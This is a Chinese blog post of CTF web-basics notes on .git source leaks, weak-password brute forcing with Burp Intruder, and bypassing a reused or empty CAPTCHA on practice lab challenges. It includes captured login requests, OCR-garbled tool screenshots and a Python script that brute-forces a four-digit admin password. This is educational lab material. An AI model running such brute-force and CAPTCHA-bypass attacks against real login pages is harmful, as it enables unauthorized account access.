# 【CTFWeb基础】总结笔记以及实例题(2)







CTF 专栏收录该内容

20 篇文章 1 订阅 订阅专栏 自己总结的基础笔记,里面所用题型都为基础题型仅供查考 本文链接: https://blog.csdn.net/weixin\_45871855/article/details/105348088

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本文所用实例链接 Bugku web5 攻防世界新手区 weak\_auth Bugku 输入密码查看flag 安全攻防脚本关5 逗比验证码第一期 安全攻防脚本关6 逗比验证码第二期 安全攻防脚本关7 逗比验证码第三期(SESSION)

## 8.源码获取

由于现在当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了 git泄露漏洞。 GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。 Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘

文件上传、SQL注射等安全漏洞。



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看到随便输入显示再好好看看,看源码,得到了一长串JsFuck编码

```
放到控制台运行,得到flag
```



## 9.弱密码爆破

在有些网站的登陆界面中,我们希望拿到它的管理员权限,但是我们并不知它的密码,但是知道的是它的密码的类型并不复杂,我们可以对 密码进行弱密码爆破。burp中自带的字典可能不足够爆破,可以在网上下载一个字典 解题步骤(之前的文章): 攻防世界:Web(新手练习题)之weak\_auth

例: Bugku 输入密码查看flag

输入查看密码			查看	
请输入5位数密	密码查看,	获取密码可联	系我。	

和上一题类似,但是这个有前提条件"五个数字",所以在字典那选择数字,从10000到99999 顺序,step为1,开始爆破,得到密码,在输入框输入,得到flag

-	You can define on	e or more payload sets. The number of payload sets depends on the atta
	payload type can	be customized in different ways.
	Payload set: 1	Payload count: 90,000
	Payload type: N	Request count: 90,000
?	Payload Optio	ons [Numbers]
	This payload type	generates numeric payloads within a given range and in a specified forma
	Number range	
	Туре:	Sequential Random
	Type: From:	Sequential Random 10000
	Type: From: To:	<ul> <li>Sequential</li> <li>Random</li> <li>10000</li> <li>99999</li> </ul>
	Type: From: To: Step:	<ul> <li>Sequential</li> <li>Random</li> <li>10000</li> <li>99999</li> <li>1</li> </ul>
	Type: From: To: Step: Howmany:	<ul> <li>Sequential</li> <li>Random</li> <li>10000</li> <li>99999</li> <li>1</li> <li>1</li> </ul>
	Type: From: To: Step: Howmany: Number format	<ul> <li>Sequential</li> <li>Random</li> <li>10000</li> <li>99999</li> <li>1</li> <li>1</li> </ul>
	Type: From: To: Step: Howmany: Number format Base:	Sequential     Random     10000     99999     1     1      Decimal     O Hex

注意:这样跑起来最不好的一点是太慢了。。。。

10.验证码

验证码发布流程 1.用户请求访问或刷新网页,服务器后台生成验证码图片及图片编码, 2.将验证码信息加密后放入Session或Cookie; 3.提交表单信息后,调用生成验证码的程序; 4.核对验证码无误、数据合法后写入数据库; 用户正常刷新页面后,会再次访问该表单页面,验证码图片被动更新,Session和Cookie存入的值也跟着改变,用不同方式模拟post传参直 接发送数据,从而达到绕过验证码的目的,修复此漏洞的方法:在核对验证码后,便清空Session和Cookie中保存验证码的值,再判断数据 的合法性,最后写入数据库,以此提高验证码的安全性。

#### 例:安全攻防脚本关5 逗比验证码第一期

登陆密码是4位纯数字数	枚,第一位不为0
User: admin	
Password: ••••	
Vcode:	
cW4 B	
submit	

进入登陆页面后,User信息已给出,密码提示为:第一位不为0的4位纯数字,但需要输入验证码登陆。

脑子里都是爆破爆破,爆了它,加上它和上题类似,burp弱密码爆破是首选,不过看其他 writeup 似乎可以跑python脚本

先尝试登陆,如输入1234,用Burp Suite抓取数据包,获取所需的Cookie和变量名信息:

POST /vcode1\_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/1.1 Host: lab1.xseclab.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 44 Origin: http://lab1.xseclab.com Connection: close Referer: http://lab1.xseclab.com/vcode1\_bcfef7eacf7badc64aaf18844cdb1c46/index.php Cookie: PHPSESSID=017064de2fd7e967c471bed47f617245 Upgrade-Insecure-Requests: 1

username=admin&pwd=1234&vcode=&submit=submit

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接着直接暴力破解获取flag, 方法和上面爆破方法一样

🚯 Burp Suite Community Edition v2.1.04 - Temporary Project	Intruder attack 6										
Burp Project Intruder Repeater Window Help	Attack Save Columns										
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer	Results	Target	Positions	Payloads	Options						
1 × 2 × 3 ×	Filter: Sh	owing all iter	ns								
Target Positions Payloads Options	Request	Payloa	d		Status	Error	Timeout	Length	Comment		
2 Payload Positions	261	1260			200			306			
	262	1261			200			306			
Configure the positions where payloads will be inserted into the base request. The attack ty	263 264	1262			200			306			
Attack type: Spiner	265	1265			200			306			
Attack type. Shiper	266	1265			200			306			
POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/1.1	267	1266			200			306			
Host: lab1.xseclab.com	268	1267			200			306			
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/	75 269	1268			200			306			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8	270	1269			200			306			
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	75	1074			200			309			
Accept-Encoding: gzip, deflate	239	1238			200			320			
Content-Length: 44	Reque	st Respor	ise					n			
Origin: http://lab1.xseclab.com											
Connection: close	Raw	Headers	Hex Rer	nder							
Cookie: PHPSESSID=017064de2fd7e967c471bed47f617245	Server: ng	Server: nainx									
Upgrade-Insecure-Requests: 1	Date: Wed	, 15 Apr 202	0 07:27:15 G	GMT							
	Content-Type: text/html; charset=utf-8										
username=admin&pwd=§1234§&vcode=&submit=submit	Connection: close										
	Expires: T	hu, 19 Nov 1	981 08:52:0	0 GMT			-1-0				
	Dragma: n	ntroi: no-stoi	re, no-cache	, must-revalid	ate, post-che	ск=v, pre-che	CK=U				
	Via: 4335	0-cacile									
	Content-L	ength: 22									
(?)     (*)     Type a search term	key is LJI	JL789sdf#(	@sd								

例:安全攻防脚本关6 逗比验证码第二期

## 

先尝试登陆,用Burp Suite抓取数据包,获取所需的Cookie和变量名信息:

POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1	
Host: lab1.xseclab.com	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/2010	00101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;c	q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,e	en;q=0.2
Accept-Encoding: gzip, deflate	
Content-Type: application/x-www-form-urlencoded	
Content-Length: 44	
Origin: http://lab1.xseclab.com	
Connection: close	
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0	De85/index.php
Cookie: PHPSESSID=017064de2fd7e967c471bed47f617245	
Upgrade-Insecure-Requests: 1	
username=admin&pwd=1234&vcode=&submit=submit	

将抓取的页面Send to Repeater后发送数据包,在Response中显示"pwd error",尝试在Request中修改数据包信息,根据给出的 提示: "一次便失效"发现当验证码为空的情况下,可以重复修改pwd的值,以达到绕过验证码爆破密码的作用;

Burp Suite Community Edition v2.1.04 - Temporary Project	💕 Intrud	er attack	7									-	 ]	×
Rura Brojant Intruder Departar Window Help	Attack Sa	Attack Save Columns												
	Results	Target	Positions	Payloads	Options									
Dashboard Target Proxy Intruder Repeater Sequencer Decoder C														
1 × 2 × 3 ×	Filter: Show	ving all item	IS											_0
Target Positions Payloads Options	Request	Payload	I		Status	Error	Timeout	Length	A Cor	mment				
	18	1217			200			306						
2 Payload Positions	19	1218			200			306						
	20	1219			200			306						
Configure the positions where payloads will be inserted into the base request. The a	21	1220			200			306						
	22	1221			200			306						
Attack type: Sniper	23	1222			200			306						
	24	1223			200			306						
POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1	25	1224			200			306						
Host: lab1.xseclab.com	26	1225			200			306						
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101	F 27	1226			200			306						
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8	28	1227			200			306						
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0		1229			200			306						
Accept-Encoding: gzip, deflate														1.01
Content-Type: application/x-www-form-urlencoded	Request	Respon	se											
Content-Length: 44		<u> </u>												
Connection: close	Raw H	eaders	Hex Rend	der										
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/i	HTTP/1.1 20	0 OK												
Cookie: PHPSESSID=017064de2fd7e967c471bed47f617245	Server: nain	(												
Upgrade-Insecure-Requests: 1	Date: Wed, 1	5 Apr 2020	07:03:17 GI	MT										- 11
	Content-Typ	e: text/html	; charset=utf	-8										- 11
username=admin&pwd=§1234§ <u>&amp;vc</u> ode=&submit=submit	Connection: close										- 11			
	Expires: Thu, 19 Nov 1981 08:52:00 GMT										- 11			
	Cache-Contr	Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0										- 11		
	Pragma: no-	Pragma: no-cache										- 11		
	Via: 4335													- 11
	Content-Len	gth: 33												- 11
(?) < + > Type a search term														
	ey is LJLJ	L7898833f	asvxcvsdf#(	@sa										
1 payload position	0			a a acarah t									 0.00	atabaa
				re a search le	51111							//blog.csdn	kin <b>u m</b> a	Sanage

程序猿:"该死的黑客,我让你绕!	我验证一次就让你的验证码失效,看你怎么绕!"	
Tips:密码是4位数字,首位不是0		
Tips2: SESSION		
User: admin		
Password:		
Vcode:		
DKB4		
submit		

原理同逗比验证码第一、二期,即可得到flag

Burp Suite Community Edition v2.1.04 - Temporary Project	Intruder attack 8									
Burp Project Intruder Repeater Window Help	Attack Save Columns									
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer	Results	Target	Positions	Payloads	Options					
1 × 2 × 3 × 4 ×	Filter: Showi	ing all item	s							
Target Positions Payloads Options	Request	Payload			Status	Error	Timeout	Length	V Comment	
Devlaced Desitions	99	1298			200			326		
(?) Payload Positions	101	1300			200			309		
Configure the positions where payloads will be inserted into the base request. The attack type	0				200			306		
	1	1200			200			306		
Attack type: Sniper	2	1201			200			306		
	3	1202			200			306		
POST /vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php HTTP/1.1	4	1203			200			306		
Host: lab1.xseclab.com	5	1204			200			306		
Accept: text/html application/xhtml+xml application/xml/g=0.9 image/webp */*:g=0.8	10	1205			200			306		
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2	6	1200			200			306		
Accept-Encoding: gzip, deflate		1207			200			306		
Content-Type: application/x-www-form-urlencoded		1200			200	0				
Content-Length: 44	Request	Respons	se							
Origin: http://lab1.xseclab.com		, 								
Referer: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php	Raw He	eaders	Hex Ren	ider						
Cookie: PHPSESSID=017064de2fd7e967c471bed47f617245	Server: nginx Date: Wed, 15 Apr 2020 07:44:06 GMT									
Upgrade-Insecure-Requests: 1										
	Content-Type	e: text/html;	; charset=ut	f-8						
username=admin&pwd=§1234§&vcode=&submit=submit	Expires: Thu	19 Nov 19	81 08-52-00	GMT						
	Cache-Contro	ol: no-store	e, no-cache,	, must-revalid	ate, post-che	ck=0, pre-che	eck=0			
	Pragma: no-c	ache								
	Via: 3832									
	Content-Leng	th: 28								
(2)     +     >     Type a search term	key is LJLJL	fuckvcod	esdf#@sd							

#### 既然是脚本关,咱们用脚本写一下











## import requests url = 'http://lab1.xseclab.com/vcode3\_9d1ea7ad52ad93c04a837e0808b17097/login.php' # 所要运行的脚本的网页地址 for password in range(1000, 9999):#填写的范围 head = {'Cookie': 'PHPSESSID=017064de2fd7e967c471bed47f617245'} #抓取网址的Cookie值 post = {'username': 'admin', 'pwd': password, 'vcode': '', 'submit': 'submit'} result = requests.post(url, headers=head, data=post).text print(password) if len(result) != 9: print("The passowrd is : " + str(password)) print(result) break

上述题目来自[网络信息安全攻防学习平台], Bugku(https://ctf.bugku.com)或者攻防世界(http://hackinglab.cn/index.php),仅仅作为自己的笔记